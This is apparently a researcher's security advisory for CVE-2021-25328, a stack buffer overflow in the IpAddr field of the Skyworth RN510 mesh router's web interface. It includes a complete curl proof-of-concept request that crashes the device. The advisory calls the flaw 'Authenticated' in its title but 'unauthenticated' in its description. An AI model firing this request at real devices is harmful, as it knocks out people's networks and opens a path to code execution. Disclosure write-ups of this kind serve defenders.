Shenzhen Skyworth RN510 Buffer Overflow

`itle :- Authenticated Stack Overflow in RN510 mesh Device  
CVE-ID:- CVE-2021-25328  
Author: Kaustubh G. Padwad  
Vendor: Shenzhen Skyworth Digital Technology Company  
Ltd.(http://www.skyworthdigital.com/products)  
Products:  
1. RN510 with firmware V.3.1.0.4 (Tested and verified)  
Potential  
2.RN620 with respective firmware or below  
3.RN410 With Respective firmwware or below.  
  
Severity: High--Critical  
  
Advisory ID  
============  
KSA-Dev-0010  
  
About the Product:  
==================  
  
* RN510 dual-band wireless AC2100 access point delivers high-speed  
access for web surfing and HD video streamings. Integrated with two  
gigabit LAN ports, and a dual-band AP which supports 2x2  
802.11n(300Mbps) and 4x4 802.11ac (1733Mbps) concurrently, RN510provides  
a stable & reliable high speed wired and wireless connectivity for home  
user and SOHO users. Utilizing state of art EasyMesh solution, two or  
more RN510 units could be easily teamed upwith Skyworth ONT gateway  
(e.g. GN543) and form an automatically organized network. RN510 could  
support either wired line backhaul or wireless backhaul to other mesh  
node. User could enjoy a wonderful zero-touch, robust and failure auto  
recovery, seamless connected wireless home networking experience.  
RN510 uses a system of units to achieve seamless whole-home Wi-Fi  
coverage, eliminate weak signal areas once and for all. RN510 work  
together to form a unified network with a single network name. Devices  
automatically switch between RN510s as you move through your home for  
the fastest possible speeds. A RN510 Dual-pack delivers Wi-Fi to an area  
of up to 2,800 square feet. And if that’s not enough, simply add more  
RN510 to the network anytime to increase coverage. RN510 provides fast  
and stable connections with speeds of up to 2100 Mbps and works with  
major internet service provider (ISP) and modem. Parental Controls  
limits online time and block inappropriate websites according to unique  
profiles created for each family member. Setup is easier than ever with  
the Skywifi app there to walk you through every step.  
  
Description:  
============  
An issue was discovered on Shenzhen Skyworth  
  
A long Text to the IpAddr function allows remote attackers to cause a  
denial of service (segmentation fault) or achieve unauthenticated remote  
code execution because of control of registers.  
  
  
Additional Information  
========================  
The value of IpAddr under /cgi-bin/app-staticIP.asp function is not  
getting sanitized,so passing too much junk data to the IpAddr parameter  
triggers to the SIGSEGV segmentation fault in device, post research it  
was possible to control the registers.A Successful exploitation could  
leads to unauthenticated remote code execution on device.  
  
  
[Affected Component]  
IpAddr function on page /cgi-bin/app-staticIP.asp inside the boa web  
server implementation.  
  
------------------------------------------  
[Attack Type]  
Remote  
------------------------------------------  
[Impact Code execution]  
true  
------------------------------------------  
[Impact Denial of Service]  
true  
  
------------------------------------------  
[Attack Vectors]  
Remote code execution by running the poc.py against the target ip address.  
  
[Vulnerability Type]  
====================  
Buffer Overflow,Exec  
  
How to Reproduce: (POC):  
========================  
  
One can use below exploit  
curl -i -s -k -X $'POST' \  
-H $'Host: device_IP' -H $'User-Agent: Mozilla/5.0 (X11; Linux  
x86_64; rv:68.0) Gecko/20100101 Firefox/68.0' -H $'Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H  
$'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate'  
-H $'Referer: http://device-ip/cgi-bin/app-staticIP.asp' -H  
$'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length:  
500' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' \  
-b $'SESSIONID=valid_cookie; UID=username; PSW=password' \  
--data-binary  
$'hEntry0=-1&hEntry1=-1&hEntry2=-1&hEntry3=-1&hEntry4=-1&hEntry5=-1&hEntry6=-1&hEntry7=-1&hEntry8=-1&delete_flag=0&add_flag=1&staticNum=0&emptyEntry=0&tmpStartIp=192.168.2.33&tmpPoolCount=32&dhcpEthStart=192.168.2.33&dhcpEthEnd=32&ethSubnetMask=255.255.255.0&IpAddr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&MACAddr=AA%3ABB%3ACC%3ADD%3AEE%3AFF'  
\  
$'http://device_ip/cgi-bin/app-staticIP.asp'  
  
  
Mitigation  
==========  
  
[Vendor of Product]  
Shenzhen Skyworth Digital Technology Company  
Ltd.(http://www.skyworthdigital.com/products)  
  
Disclosure:  
===========  
19-Jan-2021:- reported this to vendor  
19-Jan-2021:- Requested for CVE-ID  
  
  
credits:  
========  
* Kaustubh Padwad  
* Information Security Researcher  
* [email protected]  
* https://s3curityb3ast.github.io/  
* https://twitter.com/s3curityb3ast  
* http://breakthesec.com  
* https://www.linkedin.com/in/kaustubhpadwad  
  
  
  
`